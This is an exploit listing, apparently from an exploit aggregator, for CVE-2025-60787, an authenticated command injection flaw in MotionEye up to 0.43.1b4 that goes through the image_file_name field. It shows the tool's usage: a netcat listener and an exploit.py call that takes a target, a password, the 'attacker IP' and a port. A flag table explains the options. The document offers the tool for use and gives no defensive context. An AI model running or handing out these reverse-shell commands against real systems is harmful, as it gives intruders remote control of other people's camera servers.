Exploit for OS Command Injection in Motioneye Project Motioneye

## https://sploitus.com/exploit?id=941807B9-B61B-5F5F-B850-74AC5C38CAE3
# CVE-2025-60787 - MotionEye RCE

Authenticated RCE in MotionEye <= 0.43.1b4 via client-side validation bypass on the `image_file_name` field.

## Usage

```bash
nc -lvnp 4444
python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444
```

## Flags

| Flag | Description |
|------|-------------|
| `-t` | Target host/URL (defaults to port 8765) |
| `-u` | Username (default: admin) |
| `-p` | Password - same value you type in the GUI / found in `motion.conf` |
| `-lh` | Your attacker IP |
| `-lp` | Listener port |
| `--camera-id` | Camera ID (auto-detected if omitted) |